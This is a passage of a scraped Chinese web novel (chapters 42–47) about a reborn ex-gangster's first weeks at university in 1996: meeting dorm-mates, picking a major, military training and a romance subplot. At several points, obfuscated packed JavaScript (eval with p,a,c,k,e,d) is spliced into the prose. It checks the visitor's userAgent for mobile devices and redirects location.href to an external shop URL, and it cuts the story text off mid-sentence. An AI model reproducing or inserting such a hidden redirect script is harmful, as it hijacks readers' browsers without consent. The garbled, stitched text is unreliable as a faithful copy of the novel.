《她们眼中穷校草,竟是资本真大佬》 第42章 人齐了 紧挨着赵江住进来的叫楚强。 楚强一进门,屋里气氛就变了。 他长得其实挺好看,五官端正,眉眼分明。但他笑起来的时候,脸上的肌肉像是被什么东西拽着,明显僵硬。而且他讲话时,那双眼睛直直盯着你,一动不动,让人心里发毛。 于鑫和李靖被他看得,都下意识往后缩了缩。 就连高出一头的赵江,跟楚强说两句话,也赶紧把目光移开了。 楚强似乎早就习惯了这种反应。他把行李放下,冲几个人点点头:“各位多担待。我这眼睛就这样,医生说可能是一种罕见病,但也说不出是什么病。不会传染。国内治不了,要去国外。不过平时不影响生活,也就无所谓治不治了。” 于鑫憋了半天,憋出一句:“你这样……平时不会有人想打你吗?” 楚强扯着脸一笑:“有啊。高中经常有。后来打过一次狠的,差点被开除。” 这话一出,几个人都来了兴趣。 聊深了才知道,楚强以前是他们高中的风云人物。长得帅,但那张脸和那双眼睛给人感觉特别横,三天两头有人找他茬。他知道自己有毛病,能躲就躲,能让就让。 后来因为一个互相有好感的女生,又被几个人堵住了。 那次他怒了。 五个人堵他一个,结果四个被他打进医院。而他第二天还能忍着伤来上课,轰动了全校。要不是他妈跟校长是高中同学,关系还挺铁,他估计就被开除了。 但那一架之后,他像被打通了任督二脉,学习开始突飞猛进,一举考上了宁海大学。 二次震惊他们学校。 一个能打架、能学习、能谈恋爱的狠人。 李靖听得眼睛都直了,忍不住问:“那你那个女同学后来咋样了?” 楚强的脸一动不动:“没啥意思,分了。” “我操。” 李靖感觉又被别人装逼装到了。 他高中没谈过恋爱,毕业了才开始抽烟。结果韩学涛一个“好久不抽”,楚强一个“没啥意思”,把他刺激得不轻。 ... 楚强之后进来的人叫周晓白。 他是唯一一个带着一箱书进来的。 那箱子特别沉,于鑫帮忙搬的时候差点把腰闪了,龇牙咧嘴半天没缓过来。 箱子打开,里面全是诗集。 雪莱、拜伦、普希金、泰戈尔,还有几本中文的,北岛、顾城、海子,摞得整整齐齐。 于鑫捂着腰,看着那箱书,眼都傻了:“小白,你再看一眼录取通知书,哥求你了。你确定录取你的不是文学系,是地质系?” 周晓白一脸委屈,声音带颤:“你以为我不想去文学系吗?我第一志愿填的就是文学系。” 于鑫愣了:“那你怎么到这儿来了?” 周晓白咬牙:“我爸妈给我改了。他们自己搞地质的,就想让我也搞地质。这种封建家庭,我迟早要跟他们决裂。” 这话说得义愤填膺,屋里几个人都不知道该怎么接。 韩学涛看着他,难得有点语塞。 李靖感觉又受到了一次打击。 后来大家才知道,周晓白确实是个文艺青年。长得秀气,说话也秀气,那文笔是真厉害——高考作文满分,是他们寝室唯一一个,也是这次地质系所有新生里唯一一个。文学系那边满分作文不稀奇,但在地质系,这就是独一份。 更牛的是,他在报刊杂志上发表过文章和诗词。高中生能在正式刊物上发东西,那可不是闹着玩的。 年纪最大的那个是在周晓白之后住进来的。 他叫谢志华,一进门就掏烟,挨个发。 “哥几个,我年纪大,复读了两年,跟你们没法比。”他笑着,脸上带着点沧桑,“以后大家在一起,多担待。” 李靖接过烟:“有毅力。两年复读,我肯定熬不下来。” 于鑫说:“大家一个寝室,上铺下铺,没什么高贵不高贵的。” 谢志华笑笑,没再多说。他看起来确实比其他人成熟,说话做事都稳当。 ... 最后住进来的是个外省人,从西南那边考过来的。 他一报名字,屋里几个人都惊了。 “巴辉?” 周晓白先反应过来,震惊地看着他:“扒灰?这名字是根据《红楼梦》起的吗?” 于鑫跟着起哄:“就冲你这名字,以后你儿子都找不着媳妇。” 巴辉脸都绿了,连连讨饶,说:“别喊我全名,各位饶了我吧!我也是操了,我爸就是个小学学历,哪儿读过《红楼梦》?谁知道焦大是谁啊?大家以后叫我小巴就行,反正我年纪最小。” 几个人问他多大,老谢听完就不淡定了。 这家伙确实年纪最小——初中跳级一次,高中跳级一次。正常他这个年龄还在读高一,人家已经考上宁海大学了。 天才啊。 人齐了。 八个人,挤在这间朝北的八人寝里,行李堆了一地。 辅导员来了。进门扫了一圈:“人都到齐了?” 然后拿出一张表:“选个宿舍长。你们自己定,选好了报给我。” 于鑫举手:“我选韩学涛!” “别闹。”韩学涛看他一眼,笑着摇头,“老谢是我们这里年纪最大的,就老谢吧。” 其他人也都说让老谢来。 老谢笑着说:“宿舍长不是什么好活,又没钱拿,就是给大家服务。”他看看韩学涛,“小韩去选校草,那绝对是没跑了,咱们寝室的第一帅哥,谁也抢不了,宿舍长这种苦差,还是我这个老大哥来吧。” 报道完了就是军训,但军训还没开始,韩学涛就被叫到系里面去了。 通知是辅导员让人带来的,说系里有事找他。他问什么事,传话的人说不清楚,只说去了就知道。 他一路找到行政楼,在三楼最里头那间办公室门口停下来。门框上挂着块牌子:教务科。 敲门,里面传来一个中年男人的声音:“进来。” 韩学涛推门进去。 办公室不大,一张办公桌,几把椅子,靠墙一排铁皮柜。桌上堆着文件,摞得老高,把坐在后面的人挡掉半边身子。 那人抬起头,四十来岁,戴着副黑框眼镜,头顶有点秃,脸上挂着公事公办的表情。 “韩学涛是吧?”他低头看了一眼桌上的材料,“坐。” 韩学涛在椅子上坐下。 那人从文件堆里抽出一张纸,看了看,又看看他,开口:“叫你来,是因为你的专业问题。” 韩学涛一愣。 那人把纸转过来,指着上面的字:“你的录取通知书上写的是‘地球科学系’,没错吧?” 韩学涛点点头。 “但地球科学系下面有具体专业。”那人说,“你寝室里其他人,录取通知书上应该都写着‘地质学’‘地球化学’‘资源勘查’之类的。你看看你这个——只有‘地球科学系’,没有具体专业。” 韩学涛低头看了一眼那张纸,确实是。 “你的第一志愿报的不是地质系,”那人继续说,“分数不够,被调剂过来的。调剂的时候,具体专业还没定下来。现在你得选一个。” 韩学涛问:“老师,那我第一志愿报的是什么?” 侯科长翻了翻材料:“外语系。” 韩学涛点了点头。 外语系。 九十年代出国热、外语热,分数一年比一年高。他那个分数,确实够不上。 侯科长把材料放下,往后靠了靠,看着他:“你的分数在地质系新生里算高的,按说应该读地质学专业。但地质学一个萝卜一个坑,名额早就满了。” 他顿了顿,观察着韩学涛的表情:“当然,如果你家里有关系,跟系里打个招呼,也不是不能调。毕竟你分数够。” 韩学涛没说话。 侯科长等了两秒,见他不吭声,心里有数了。 没关系的。 那就好办了。 他正准备开口,韩学涛先问了:“侯老师,我有什么专业能选的?” 侯科长一听这话,心里那点悬着的东西落了地。 这小子没打算闹,没打算找关系往上捅。这就好办多了。 说实话,他刚才还有点担心。地质学那几个老教授,每次开招生会都要嚷嚷一通,说一定要按分数择优录取,别老搞关系户,把些带不动的塞进来。可招生这事儿哪那么简单?方方面面的关系要平衡,得罪人的活儿都是他们这些干行政的干。老教授们动动嘴,他们跑断腿。 要是这小子坚持要上地质学,他还真有点麻烦。分数够,没名额,拒绝就得罪人,不拒绝就得罪那几个老教授。 现在好了,人家自己没那个意思。 而韩学涛其实无所谓,他感觉自己能上大学,而不是蹲号子,就已经不错了!而且地质这玩意,他真不懂,感觉哪个专业都差不多。 侯科长脸色和缓下来,从抽屉里拿出几张纸,摊在桌上。 “你自己选吧。这几个专业都是地质系下面的,都很不错的。” 第43章 我就选这个专业 韩学涛低头看着那张表格。 上面列着几个他可以选择调剂的专业,旁边标注着目前报名的人数。 第一个:气象学。 这个就是天气预报吧?每天对着云图画圈圈,预测明天有没有雨? 不太感兴趣。 第二个:水文地质与工程地质学。 这名字他听老谢提过一嘴。老谢他家有个亲戚就是干这个的,名字里虽然带着“地质”,但既不像矿产地质那样进油田矿山,也不像区域地质那样搞正统科研。主要研究地下水、水库坝基这些东西。学生毕业后对口的单位是水文队和工程勘察院,常年在荒郊野外打钻孔、测水位,风餐露宿,比传统地质还苦逼。 用二十年后的话说,这就是个天坑专业。 而且老谢还说,现在是这个专业最差的时候,因为三峡大坝还在建设,水文队“飞鸟尽,良弓藏”,闲的在家嗮被子。 韩学涛心里警惕起来。 他虽然对专业不太在意,但也不想被人坑。 当然不管选什么,以后他大概率都不会靠这个吃饭。但既然大学都进来了,总要学点对以后稍微用得着的知识吧。 继续往下看。 第三个是:古生物学与地层学。 韩学涛感觉牙有点疼。 这个专业……是不是就是搞恐龙骨头的?每天拿着小刷子刷化石,研究几亿年前的石头? 画面太美,不敢想。 第四个:煤田地质与勘探。 他看了一眼,心里微微一动。 九十年代末到两千年初,个体煤老板确实风靡一时。赶上那波潮的人,不少都发了。但转念一想,他上辈子做到千亿身家,可以跟华尔街的财团、德州的石油佬一起开发委内瑞拉。这辈子要是跑去当个煤老板,好像有点太掉价了。 再说,国内的矿都是国家的。说关停就关停,说整顿就整顿,职业天花板其实很低。 而且煤老板这个行当,关键的两个字是“老板”,不是“煤”。不学这个什么煤田地质,照样能当老板。 他摇摇头,继续往下看。 第五个:环境地质与环境科学。 旁边标注着一个字母“新”,代表是新开设不久的专业。表格上的报名人数寥寥无几,相当冷门。 韩学涛心里有数。 九十年代,社会对环境问题的认知几乎为零。一听“环境”两个字,下意识的反应就是管垃圾的、扫大街的。这专业没人报,太正常了。 但他知道,环保这个行业以后可是太有市场了。 再过二十年,华尔街和那些国际能源巨头,个个都在搞碳排放。碳交易、碳关税、ESG投资,每一个都是凭空印钱的赛道。 他暗暗点头:如果没什么更好的,就选这个。 表格上还剩最后一个专业。 韩学涛的目光扫过去,眼睛微微一亮。 地图制图学与遥感地质。 他看了看旁边的报名人数——零。 一个都没有。 这专业冷到什么程度?比环境科学还冷,感觉是地质系所有专业里垃圾中的垃圾。 但韩学涛看着那几个字,脑子里却闪过很多画面。 上一世在黑道上滚的时候,他太知道地图意味着什么了。 走私路线、藏货地点、交易区域、警方布防——每一次行动前,都要把地图研究透了。哪条路能跑,哪个点能藏,哪片区域是盲区,全都刻在脑子里。 那是用命换来的经验。 他抬起头,看着侯科长。 “老师,这个专业主要是教什么的?” 侯科长听见他问这个,脸上的肌肉忍不住抽了一下。 地图制图学?那不就是画地图的吗?. 测绘局干的事儿,又苦又累又没前途。天天对着图纸,一笔一笔描,描错了就得重来。野外测量扛着仪器爬山,风吹日晒,跟民工似的。 毕业以后进测绘局,熬到退休也熬不出头。这专业年年招不到人,年年空着,今年又是零报名。专业还不能撤了,又得靠调剂。 但这话他不能说。 学校设置的专业,老师可以骂,但作为行政干部,不能说不好。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵江最高,巴辉最矮,两人往那儿一站,一个大葱,一个土豆。 老谢系好腰带,那老派的气质,说是转业干部没人不信。 李靖换好衣服,于鑫看了一眼:“你这……新入职的保安吧?” 李靖抬脚踹他,没踹着。 周晓白从床铺那边走过来,几个人都愣了一下。 军装穿在他身上,衬得那张脸更秀气了。眉眼清秀,皮肤白净,帽子一戴,远远看去,像个文艺兵,而且还是女兵。要是不仔细看,还以为是女生来了男生寝室。 韩学涛看着他,心里想:这家伙搁现在有点超前,过不了几年,这种形象最招女生喜欢——花样美男。 文艺版的鹿晗。 他换好衣服站起来。 腰带一扎,风纪扣扣好,帽子戴正。肩宽腰窄,线条利落,帽檐下的眉眼格外清晰。往那儿一站,跟周围几个人一比,简直就是鹤立鸡群。 于鑫盯着他看了半天,忽然开口:“涛哥,你这形象确实没得说。” 韩学涛看他一眼。 于鑫摇头:“但怎么看都不像是我正义凛然的**军队。” 李靖在旁边说:“挺好的啊,怎么就不正义凛然了?” 于鑫指着韩学涛:“我总感觉涛哥身上带点匪气。别看穿着军装,迟早背叛**。” 韩学涛笑着骂了一句:“去你的吧。” 心里却觉得这小子感觉挺敏锐的。 匪气?上一世他就在南美搞过叛军,要不怎么华尔街投行和德州石油佬会找他合作呢?因为他手里有枪!枪杆子里面出政权,枪杆子里面出黄金。 寝室里,最板正的人是楚强。军训服在他身上最像那么回事。 楚强长相端正,而且又是面瘫,扑克脸,表情几乎没有,往那儿一站,军装穿在身上,比韩学涛还像那么回事。 最不像回事的是于鑫。 他本来就瘦,那套军训服穿在身上,松松垮垮像个面袋子。裤子更离谱——两条裤腿不一样长,一条拖脚面,一条露脚踝。 他往那儿一站,整个一兵痞。 大家都笑瘫了。 赵江说:“三金,你这是刚从前线溃败下来吧?” 李靖笑得直抽抽:“于鑫,你也好意思说别人背叛**?你自己就活脱脱的叛徒啊!” 巴辉跟着补刀:“三金哥,咱们军队的形象,算是毁在你手里了。” 于鑫气得脸都绿了,一把摘下帽子摔在床上:“大家都花十块钱,凭什么给我一套残次品!我找他们去!” 他提着裤子就冲出门。 半个小时后,于鑫回来了,还是那身衣服,一条裤腿长一条裤腿短,帽子歪着。 老谢问:“没换成?” 于鑫往床上一坐,气鼓鼓的:“每人就一套,没有多余的。让我将就将就。” 李靖问:“那你就回来了?” “怎么可能!”于鑫一拍床板,“我说不给我解决问题,我就在那儿脱衣服。那个辅导员抠抠搜搜的,退了我四块钱!” 他从兜里掏出四张皱巴巴的一块钱,拍在桌上。 老谢走过去看了看:“把裤子脱下来,我帮你改改。长的剪短,接到短的那边。” 于鑫愣了:“老谢你还会这手艺?” 老谢笑笑:“复读那两年,衣服都是自己补。” 别说,老谢手艺还真不错。剪下来,缝上去,针脚细细密密一圈,不仔细看根本看不出来。 但问题来了——长的剪短了补到短的上,两条裤腿现在一样长,却都比别人的短了一截。 于鑫穿上,两条腿吊在小腿中间,露出两截白袜子,相当显眼。 韩学涛拍拍他肩膀:“三金,这几天好自为之吧。” 于鑫一愣:“啥意思?” 韩学涛没回答,但他很快就知道韩学涛的意思了。 第二天上午开学典礼,下午军训正式开始,头几天的项目就是队形训练走正步。 于鑫被教官揪出来的次数,比别人加起来都多。 没办法,他那短一截的裤腿和那两截白袜子,在队列里实在太显眼了。别人走错一两步,穿得都一样,教官未必能第一时间发现。可他往那儿一站,白袜子跟信号灯似的,想不注意到都难。 “那个裤腿短的!出列!” “白袜子那个!出列!” “就你!出列!” 一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那不是李曼读的系么。 第45章 方阵偶遇 第二天,韩学涛就碰上了李曼。 那是新生分列式汇演的彩排。所有系的新生都被教官带到足球场上,黑压压几千人,按方阵排开,集体走一遍队形。等到正式汇演那天,学校和部队的领导要来视察。 太阳很毒,操场上的塑胶跑道被晒得发软,踩上去有点黏脚。 韩学涛站在地质系方阵里,帽子压得很低,眼睛眯着看前方。 队伍开始移动。 他们这边往前走,政管系的方阵正好从对面过来。两个队伍要擦身而过,中间有一个立定,然后齐步走,再拐弯分开。 就那么一分钟。 韩学涛眼角余光扫到一抹绿色,是政管系的女生方阵。她们穿着同样的军装,戴着同样的帽子,从对面走过来。 走着走着,他忽然觉得有人在看自己。 偏头一看,李曼。 她站在政管系方阵的靠外三行的位置,中间还隔着两个女生。看见韩学涛,李曼有点惊喜,一咬牙,跟旁边两个女生换了位置,挤到了最边上。 队伍还在往前走,距离越来越近。 李曼伸手,飞快地拉了一下他的袖子。 韩学涛低头看她。 李曼形象有点变了,头发剪短了,露出白净的脖子。下巴也尖了,显得两个眼睛贼大 “听说你们教官练得挺狠?”韩学涛问。 李曼说:“都传到你们那儿去了?” 她语速飞快:“不多说了,拜托你个事儿,帮我买个防晒霜!中午我们方阵还要站军姿,没时间出去!” 韩学涛愣了一下:“大中午站军姿?我们都没有这样。不去食堂吃饭吗?” 李曼咬着牙:“中午集体在操场啃馒头,站军姿!” 韩学涛倒吸一口凉气,还想再问,两个方阵已经错开了。 韩学涛收回目光,继续往前走。 但他们说话那几十秒,两边方阵有不少人都看见了。 彩排完,休息时间。 203寝室的人聚在一棵大树下面喝水。韩学涛刚走过去,几道目光就齐刷刷射过来。 李靖第一个开口:“涛哥,我有个问题啊——是你主动勾搭的,还是她主动勾搭你的?这个主被动关系,直接影响我们对这件事的性质判断。” 于鑫在旁边指着李靖和巴辉,一脸恨铁不成钢:“你们俩天天去女生方阵那边晃悠,打听这个打听那个,有用吗?看看人家涛哥,跟方阵并排一分钟,人家女生主动挤过来拉袖子。这就是境界,懂不懂?” 巴辉个子矮,彩排时站在前排,啥也没看着,急得抓耳挠腮:“不是,你们到底在说啥?涛哥跟谁说话了?哪个方阵的?长啥样?” 楚强面无表情地补充:“政管系,第三排最边上的那个。说话时间总共五十二秒。对方先动手拉袖子,然后涛哥开口,双方交谈约三句半。” 赵江一脸茫然:“你们搁这儿破案呢?教官不是说要看前面人的后脑勺吗?” 他扭头问周晓白:“小白,你看见了?” 周晓白点点头,眼神有点飘,像望着很远的地方。 “我还写了一小段诗。”他说。 “绿从四面八方涌来/淹没刻度/那一个偏头的刹那/我们只是惯性之外的/两个方向/在无数直线贯穿的交汇中/轻轻/颤了颤...” 他念完,看着韩学涛:“那个画面,要是能用相机拍下来,肯定很美好。” 树下安静了几秒。 于鑫开口:“颤了颤?**,你这诗读得都让老子燥热起来了!” 周晓白张嘴要说话。 于鑫连忙摆手:“得得得,你别跟我说了。我粗人,欣赏不了艺术,行了吧?” 他转向韩学涛,眼睛亮晶晶的:“涛哥,说说呗,到底啥情况?” 韩学涛拧上矿泉水瓶盖,语气平淡:“没啥说的。以前高中同学,遇到打个招呼。哪有你们想的那么复杂。” 老谢一直笑呵呵地靠在树干上,看到他们不肯放过韩学涛的样子,这会儿开口了:“行了行了,有话回寝室再说。赶紧上厕所去,马上教官那边喊集合了。” 中午解散,韩学涛没去食堂,直接出了校门。 校门口的几家小店防晒霜都卖完了。他坐了两站公交,去最近的商场,在化妆品柜台挑了一支,付完钱出来。 商场旁边新开了一家肯德基,门口还摆着花篮。 他想了想,这个点回学校食堂估计也没啥剩的了。干脆进去吃了一顿。 吃完出来,又想到李曼说的“中午啃馒头站军姿”,顺手打包了一个汉堡。 回到学校,他直奔操场。 远远就看见政管系的方阵还在原地。几十个女生整整齐齐坐在地上,人手一个馒头,正在那儿硬啃。啃不下去就喝一口旁边的矿泉水。 韩学涛真是有点搞不明白她们那个教官了,怎么想的? 大学军训而已,至于吗?莫非还真指望着把她们练成女兵,以后上战场? 他不由得想起一些过往。 监狱里也有这种管教。手里有点权力,就喜欢整犯人,以整人为乐。那种心理变态的管教,他见过不止一个。当然,犯人也不是没脾气的,憋着一股恨,出狱后去报复管教家人的事,也不罕见。 他摇摇头,把这些不愿回忆的过往甩开,径直朝那边方阵走过去。 政管系的女生正坐在地上啃馒头,啃得一脸苦逼。 就在这时,有人抬起头,愣了一下。 “哎,你们看那边——” 所有人顺着她的目光看过去。 一个男生正朝这边走过来。 韩学涛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428324|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着军训服,帽子压得有点低,但遮不住那张脸。眉眼看着就干净,走路的姿势不紧不慢,脚下像带着箭头似的,直直地朝她们方阵过来了。 中间都不带绕弯儿的。 啃馒头的动作集体停住了。 几十双眼睛齐刷刷落在他身上。 李曼坐在队伍中间,嘴里还叼着半个馒头,整个人僵在那儿,心里怦怦直跳! 不会吧,他就这么送过来了? 她今天让韩学涛帮忙买防晒霜,其实是有点心血来潮。早上出寝室太匆忙,把防晒霜带成了护手霜,等发现的时候已经来不及回去拿了。又不能找同班的男生帮忙——才刚进大学,谁都不熟,怎么好意思开口? 李曼不怕累瘦,就怕晒黑,正发愁呢,彩排的时候就碰见了他。 脑子一热,话就说出去了。 可说完她就后悔了。 因为她想到一个问题—— 韩学涛怎么送过来?找个女生帮忙递一下?不是一个系的,找谁递?或者找他们方阵的教官跟自己这边教官打个招呼? 她脑子里想了一堆弯弯绕绕,就是没想到—— 韩学涛就这么大摇大摆自己过来了。 看着他越走越近,李曼整个人都懵了。 韩学涛走到方阵边上,脚步没停,直接走进队伍里,到她面前,从兜里掏出一支防晒霜,递给她。然后又递过来一个纸袋,上面印着肯德基的logo。 “吃这个吧。顺手买的。” 整个方阵的女生都看着这一幕。 几十双眼睛,有瞪大的,有发直的,有冒着光的,齐刷刷盯在李曼脸上。 李曼感觉自己的脸红得像烧起来一样。 她接过东西,嘴张了张,却什么都说不出来,脑子彻底宕机了! 这家伙也太明目张胆了吧? 那边,教官皱了皱眉,抬脚准备往这边走。 韩学涛已经转身往外走了。 他迎着教官走过去,看了那教官一眼,微微点了点头。 教官脚步顿了一下,没再往前走。 韩学涛头也不回地走了。 他一走,政管系女生方阵就炸了。 教官想拦都拦不住。 防晒霜已经被李曼揣进兜里,大家的目光都集中在那个肯德基纸袋上。 “我天!肯德基!” “在报纸上看过开业的广告,我还没吃过呢!” “李曼,这是你男朋友?” “好帅啊……你们刚才看见没,那脸……” “哇,这也太浪漫了吧!” 李曼被围在中间,那袋肯德基抱在怀里,感觉特别烫人。 教官站在不远处,看着这群叽叽喳喳彻底不成样子的女生,难得地叹了口气。 他挥了挥手:“散了散了,下午休息半天。明天早上准时集合!” 第46章 故意打个一环 韩学涛发现自己失算了。 在他眼里,肯德基就是随处可见的洋快餐,跟街边的兰州拉面、沙县小吃没什么区别。饿了就进去吃一顿,顺手打包一个,多简单的事。 但他忘了——现在是1996年。 肯德基进中国才几年?1987年北京开第一家店,到今年,全国第一百家门店刚刚落成。跟巅峰时期的万店规模比,差了十万八千里。 宁海这家,是全市第一家。 开业的时候,宁海快报、晚报都登了广告,还上了新闻,说这是对外开放的新气象,标志着什么什么。他当时在省人医陪床,扫过一眼报纸,没往心里去。 现在好了。 他买了一个汉堡,送到女生军训方阵里。 想不引起轰动都难。 当天下午,消息就传开了。 “哎,听说了吗?有人买了肯德基送到军训方阵里去了!” “真的假的?哪个师哥动作这么快,刚开学就对师妹下手了?” “不是师哥,穿着军训服送过去的,是个新生!” “**!这届新生这么牛逼吗?哪个系的?” “男生不知道,女生是政管系的。” 李曼的身份很好打听。当时操场上就他们系女生在那儿啃馒头,几十双眼睛看着,想不知道都难。但送肯德基那个男生是谁,就没人说得清了。 政管的女生问李曼,李曼死活不开口。 只知道是个很帅的新生,也穿着军训服,别的什么都不知道。 韩学涛一回到寝室,于鑫就扑过来了。 “涛哥!大新闻!”于鑫拉他胳膊,“比你牛逼的人出现了!” 韩学涛看他一眼:“什么?” 于鑫手舞足蹈:“有个新生,直接买了肯德基送到女生方阵去!据说当时就把那女的感动晕了,直接拿下!” 韩学涛嘴角抽了一下。 李靖凑过来:“肯德基?那个新开的店?” “对!就是那家!”于鑫拍着大腿,“听说可贵了,一个汉堡要十块!这个泡妞,真下血本啊!” 巴辉推门从寝外进来:“我打听出来了!” 几个人齐刷刷看他。 巴辉一脸得意:“政管系的女生,不知道叫啥名,他们班男生不肯跟我说。但是送肯德基那个——” 他顿了顿,卖了个关子。 于鑫急了:“快说!哪个系的畜生?这么早就下**资源,脸都不要了!” 巴辉伸出三根手指:“现在有三个版本。” “哪三个?” 巴辉掰着指头数:“第一个版本,是文学系的。说是文学系一个新生,为了追政管系的女生,从高中追到大学,就等肯德基这一天开业,专门去买的。文学系的人嘛,你们看小白,懂吧?” 于鑫点头:“有道理。然后呢?” 巴辉继续:“第二个版本,是经济系的。说那小子家里有钱,用摩托罗拉掌中宝,追女生当然要下血本。” 203寝室倒吸了一口凉气! 用摩托罗拉掌中宝,这也太豪横了! 这手机一部就要上万,而他们连传呼机都没用上呢。 李靖皱眉:“经济系?谁啊?” 巴辉耸肩:“不知道,传的呗。” 他伸出第三根手指:“第三个版本最离谱——说是外语系一个师哥,冒充新生混进去送的!” 于鑫愣了:“冒充新生?军训服哪儿来的?” 巴辉摊手:“以前的军训服还留着呗。很多人说这师兄脑子活,后悔自己的军训服扔早了。” 几个人热烈讨论,韩学涛坐在床上,眼皮直抽抽——还好这帮牲口不知道是他。不然不知道得被黑成什么样。 不就顺手送了个肯德基么? 至于吗? 这件事风风火火传了好几天,成了这一届新生军训的大新闻。 分列式汇演那天,两个方阵再次擦身而过。 韩学涛扫了一眼政管系的队伍,看见李曼站在里面,绷得贼紧。眼睛直直盯着前方,看都不往这边看,整个人像根钉子似的。 倒是她旁边那两个女生,有意没意地往他身上瞄。一个还拿手捅李曼,李曼把头别到相反的方向,装不知道。 一分钟,两个方阵错开,各走各的。 此后几天再没碰见。 军训最后一天是两个项目:打靶和八公里越野。 不同系错开进行。地质系上午打靶,下午越野。 打靶场在学校后面的山脚下,几十个靶位一字排开,一百米外竖着胸靶。男生分成几组,轮流卧倒射击。每人五发**,三十环合格。 要求不高,但能打到三十环的不足一半。 让韩学涛大跌眼镜的是,成绩最差的竟然是楚强。 五发**,没有一发上靶。成绩表上五个鸭蛋,明晃晃挂在那儿。 大家看着那五个零,面面相觑。平时楚强看人直愣愣的,看样子还真不是有意冒犯,眼睛确实有毛病。 连周晓白都打了十二环——三枪脱靶,一枪八环,一枪四环。 成绩最好的竟然是于鑫,三十八环。 这家伙打完就飘了,嘴一直没合上,在队伍里嘟囔:“三十八呀三十八,我是三十八!” 李靖说:“你喊什么呢?三十八有什么好喊的?” 于鑫斜他一眼:“你多少?” 李靖不吭声了。 轮到韩学涛这一组上场。 他趴下,接过枪。 五六式半自动,一上手就有种熟悉的感觉。 这种枪他太熟了。 以前在南美的时候买过好多批。很多人不知道,五六式**是我国**出口的一个巅峰。六几年作为军援大量提供 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428325|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给越南,部分缴获的枪被美军带回美国,引起一阵热潮。八十年代中国把这枪推向美国民用市场,累计出口超过一百万支,巅峰时七十美元一支。 后来美国限制进口,官方渠道断了,但民间走私还有不少。他在南美弄的那批,就是从墨西哥边境过去的。 这枪最大的优点就是故障率极低。学生军训用这玩意儿,根本用不着专业维护,打完了扔仓库,回头拿出来照样能用。 他趴在那儿,端着枪,瞄着百米外的靶子。 太近了。 他把**抵实,调整呼吸,扣动**。 四枪一气呵成,两个十环,两个九环,旁边负责记成绩的教官多看了他一眼。 韩学涛没理会,第五枪,枪口微微往上抬了抬,对准最外圈的黑边。 扣动**。 “砰——” 一环。 总成绩三十九环。 记分员在本子上写下数字,抬头看他,眼神有点微妙。 一环。 这个成绩太罕见了。五六式半自动稳定性好,部队提前校过枪,靶距只有一百米。学生只要瞄准靶心区域,通常都能打出三环以上。要么就是姿势不对,彻底脱靶,一环基本不会出现。 教官看着韩学涛,若有所思。 莫非这个学生受过实战训练? 实战射击用的是另一种记分法。一环不是最低,是最高精度。因为实战不是**体中心,而是打眉心或者延髓点。军训里打出一环,会被调侃成“人体描边大师”。但在军事任务里,如果要求打“一号目标”,那就是要精准清除威胁源。 这个男生,知道一环代表什么意思,特意瞄了一下? 韩学涛站起来,把枪交回去。 回到队伍里,赵江凑过来说:“涛哥,我以为你要破纪录呢,最后一枪怎么搞的?” 韩学涛看他一眼:“故意的。”他往于鑫那边努努嘴:“有人三八喊得我心烦,特意超他一环。” 于鑫说:“你就吹吧!你就是颤了颤,差点脱靶,蒙中了一环!” 韩学涛知道他在用小白的诗内涵自己,哈哈一笑,没说什么。 下午八公里越野。 这是军训最后一个项目。上午打靶的几个系都聚在一起,方队一个接一个跑出去。 前一千米还有点队形,跑着跑着就乱了。教官们也不像之前那么严,只提醒注意安全,就提前去前面的计时点等着了。 几个系的学生混在一起,乌泱泱跑成一锅粥。 韩学涛跑了一段,发现身边一个认识的同学都没有了,全是别的系的。他也无所谓,放慢脚步,慢慢悠悠地跑。 跑到第一个计时点,正好在树林边上。他甚至停下来,吃了一个面包,才继续往下跑。 没跑多远,前面出现一群政管系的女生。 第47章 背着女生跑完全程 韩学涛跑过去,一眼就看见了李曼。 她正被两个女生搀着,一瘸一拐地往前走。旁边还站着个男生,手里拎着她的包,满脸焦急地望着她。 他几步上前:“怎么了?” 李曼抬起头,看见是他,愣了一下,脸瞬间垮了下来。 倒霉!怎么每次碰上韩学涛,自己都是这副狼狈样子? 她没吭声。 旁边两个女生眼睛却亮了——这不就是之前给李曼送肯德基的那个帅哥吗? “她刚折返跑的时候踩到石头,把脚崴了。”一个女生毫不犹豫地把李曼“出卖”了。 另一个跟着告状似的:“让她别跑了她偏不听,说要去医务室也不肯,非要撑到终点,怎么劝都不行!” 李曼咬着嘴唇:“没事的,就一点点酸。我再走几步,活活血就好了。” 韩学涛低头看了一眼她的脚。 脚踝已经肿了起来,袜子被撑得紧绷绷的。这叫一点点酸? 死鸭子嘴硬。 